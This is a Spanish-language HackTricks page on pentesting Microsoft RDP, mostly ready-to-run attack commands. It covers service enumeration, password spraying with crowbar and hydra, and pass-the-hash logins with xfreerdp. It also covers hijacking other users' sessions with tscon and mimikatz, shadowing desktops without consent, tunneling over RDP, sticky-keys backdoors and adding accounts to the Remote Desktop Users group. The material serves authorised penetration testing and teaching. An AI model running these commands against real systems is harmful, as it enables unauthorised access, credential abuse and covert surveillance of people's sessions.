3389 - Pentesting RDP
Tip
Aprende y practica AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Revisa el catálogo completo de HackTricks Training para las rutas de evaluación (ARTA/GRTA/AzRTA) y Linux Hacking Expert (LHE).
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord, al grupo de telegram, sigue @hacktricks_live en X/Twitter, o revisa la página de LinkedIn y el canal de YouTube.
- Comparte hacking tricks enviando PRs a los repositorios de github HackTricks y HackTricks Cloud.
Información básica
Desarrollado por Microsoft, el Protocolo de Escritorio Remoto (RDP) está diseñado para permitir una conexión con interfaz gráfica entre equipos a través de una red. Para establecer dicha conexión, el usuario utiliza software cliente RDP, y simultáneamente el equipo remoto debe ejecutar el software servidor RDP. Esta configuración permite el control y acceso sin interrupciones al entorno de escritorio de un equipo remoto, esencialmente trayendo su interfaz al dispositivo local del usuario.
Puerto predeterminado: 3389
PORT STATE SERVICE
3389/tcp open ms-wbt-server
Enumeración
Automático
nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 <IP>
Verifica el cifrado disponible y la vulnerabilidad a DoS (sin provocar DoS en el servicio) y obtiene información NTLM de Windows (versiones).
Capa de seguridad / comprobaciones NLA
RDP puede negociar diferentes capas de seguridad (native RDP, TLS, o CredSSP/NLA). Puedes identificar rápidamente la configuración del servidor y si NLA es obligatorio:
# Security layer and encryption info
nmap --script rdp-enum-encryption -p 3389 <IP>
# Quick auth check (also reports if NLA is required)
nxc rdp <IP> -u <user> -p <password>
# Pre-auth screenshot only works if NLA is disabled
nxc rdp <IP> --nla-screenshot
# Authenticated screenshot after valid login
nxc rdp <IP> -u <user> -p <password> --screenshot
Brute force
Ten cuidado, podrías bloquear cuentas
Password Spraying
Ten cuidado, podrías bloquear cuentas
# https://github.com/galkan/crowbar
crowbar -b rdp -s 192.168.220.142/32 -U users.txt -c 'password123'
# hydra
hydra -L usernames.txt -p 'password123' 192.168.2.143 rdp
Conectar con credentials/hash conocidos
rdesktop -u <username> <IP>
rdesktop -d <domain> -u <username> -p <password> <IP>
xfreerdp [/d:domain] /u:<username> /p:<password> /v:<IP>
xfreerdp [/d:domain] /u:<username> /pth:<hash> /v:<IP> #Pass the hash
Verificar credenciales conocidas contra servicios RDP
rdp_check.py de impacket te permite comprobar si algunas credenciales son válidas para un servicio RDP:
rdp_check <domain>/<name>:<password>@<IP>
Ataques
Robo de sesiones
Con permisos SYSTEM puedes acceder a cualquier sesión RDP abierta por cualquier usuario sin necesidad de conocer la contraseña del propietario.
Obtener sesiones abiertas:
query user
Acceso a la sesión seleccionada
tscon <ID> /dest:<SESSIONNAME>
Ahora estarás dentro de la sesión RDP seleccionada y deberás suplantar a un usuario usando únicamente herramientas y funcionalidades de Windows.
Important: Cuando accedes a una sesión RDP activa expulsarás al usuario que la estaba usando.
Podrías obtener contraseñas volcando procesos, pero este método es mucho más rápido y te permite interactuar con los escritorios virtuales del usuario (contraseñas en notepad sin haberse guardado en disco, otras sesiones RDP abiertas en otras máquinas…)
Mimikatz
También podrías usar mimikatz para hacer esto:
ts::sessions #Get sessions
ts::remote /id:2 #Connect to the session
RDP Shadowing (Remote Control)
Si Remote Desktop Services shadowing está habilitado, puedes ver o controlar la sesión activa de otro usuario (a veces sin consentimiento) usando los switches incorporados de mstsc.
# List sessions on a remote host
qwinsta /server:<IP>
quser /server:<IP>
# Shadow a specific session (consent required if policy enforces it)
mstsc /v:<IP> /shadow:<SESSION_ID> /control
# Shadow without consent if policy allows it
mstsc /v:<IP> /shadow:<SESSION_ID> /noconsentprompt /prompt
# Check current shadowing policy on the target
reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v Shadow
RDP Virtual Channel Tunneling
RDP admite virtual channels que pueden ser abusados para pivoting/tunneling sobre una sesión RDP establecida. Una opción es rdp2tcp (client/server) que puede multiplexar reenvíos TCP sobre RDP (funciona con FreeRDP).
# Start FreeRDP with rdp2tcp virtual channel
xfreerdp /u:<user> /v:<IP> /rdp2tcp:/path/to/rdp2tcp/client/rdp2tcp
Sticky-keys & Utilman
Combinando esta técnica con stickykeys o utilman podrás acceder a un CMD administrativo y a cualquier sesión RDP en cualquier momento
Puedes buscar RDPs que ya han sido backdoored con una de estas técnicas en: https://github.com/linuz/Sticky-Keys-Slayer
RDP Process Injection
Si alguien de un dominio diferente o con better privileges login via RDP accede al PC donde you are an Admin, puedes inject tu beacon en su RDP session process y actuar como él:
Agregar usuario al grupo RDP
net localgroup "Remote Desktop Users" UserLoginName /add
Herramientas automáticas
AutoRDPwn es un framework de post-explotación creado en Powershell, diseñado principalmente para automatizar el ataque Shadow en equipos Microsoft Windows. Esta vulnerabilidad (listada como una característica por Microsoft) permite a un atacante remoto ver el escritorio de su víctima sin su consentimiento, e incluso controlarlo bajo demanda, usando herramientas nativas del propio sistema operativo.
-
Controlar el ratón y el teclado de forma automatizada desde la línea de comandos
-
Controlar el portapapeles de forma automatizada desde la línea de comandos
-
Levantar un proxy SOCKS desde el cliente que canaliza la comunicación de red al objetivo vía RDP
-
Ejecutar comandos arbitrarios de SHELL y PowerShell en el objetivo sin subir archivos
-
Subir y descargar archivos hacia/desde el objetivo incluso cuando las transferencias de archivos están deshabilitadas en el objetivo
Esta herramienta permite ejecutar comandos en el RDP de la víctima sin necesitar una interfaz gráfica.
Comandos automáticos de HackTricks
Protocol_Name: RDP #Protocol Abbreviation if there is one.
Port_Number: 3389 #Comma separated if there is more than one.
Protocol_Description: Remote Desktop Protocol #Protocol Abbreviation Spelled out
Entry_1:
Name: Notes
Description: Notes for RDP
Note: |
Developed by Microsoft, the Remote Desktop Protocol (RDP) is designed to enable a graphical interface connection between computers over a network. To establish such a connection, RDP client software is utilized by the user, and concurrently, the remote computer is required to operate RDP server software. This setup allows for the seamless control and access of a distant computer's desktop environment, essentially bringing its interface to the user's local device.
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-rdp.html
Entry_2:
Name: Nmap
Description: Nmap with RDP Scripts
Command: nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 {IP}
Referencias
Tip
Aprende y practica AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Revisa el catálogo completo de HackTricks Training para las rutas de evaluación (ARTA/GRTA/AzRTA) y Linux Hacking Expert (LHE).
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord, al grupo de telegram, sigue @hacktricks_live en X/Twitter, o revisa la página de LinkedIn y el canal de YouTube.
- Comparte hacking tricks enviando PRs a los repositorios de github HackTricks y HackTricks Cloud.


